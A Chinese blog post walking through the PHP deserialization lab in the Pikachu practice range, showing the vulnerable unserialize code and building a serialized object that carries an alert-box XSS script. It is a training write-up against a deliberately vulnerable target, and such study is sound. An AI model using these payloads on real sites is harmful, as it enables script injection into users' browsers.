0
点赞
收藏
分享

微信扫一扫

pikachu靶场PHP反序列化漏洞

sullay 2023-11-23 阅读 59

pikachu靶场PHP反序列化漏洞

源码分析

查看源代码

class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}



// O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }

}

  • $s 接受上传的参数
$s = $_POST['o'];

  • 判断是否能够被反序列化,即上传的参数是否经过序列化

if(!@$unser = unserialize($s))

  • 如果上传的序列化后的参数,将上传的数据反序列化后,自动执行魔术方法 __construct() ,$unser->test 用来输出反序列化后的对象的 test 属性的值到页面上

构造payload

<?php
class S{
    var $test = "<script>alert(/zs/)</script>";
}
    // 创建一个对象
    $s = new S();
    //把这个对象进行序列号输出
    print_r(serialize($s));
?>

在浏览器访问后,发现 直接弹出一个提示框,是因为浏览器识别到 <script>标签 然后直接执行了,

可以把 <script> 标签的 < 用一个占位符代替,比如用 * 代替,代码如下

<?php
class S{
    var $test = "*script>alert(/zs/)*/script>";
}
    // 创建一个对象
    $s = new S();
    //把这个对象进行序列号输出
    print_r(serialize($s));
?>


然后讲 * 替换回 <  

O:1:"S":1:{s:4:"test";s:28:"<script>alert(/zs/)</script>";}

然后提交执行

完成!

举报

相关推荐

0 条评论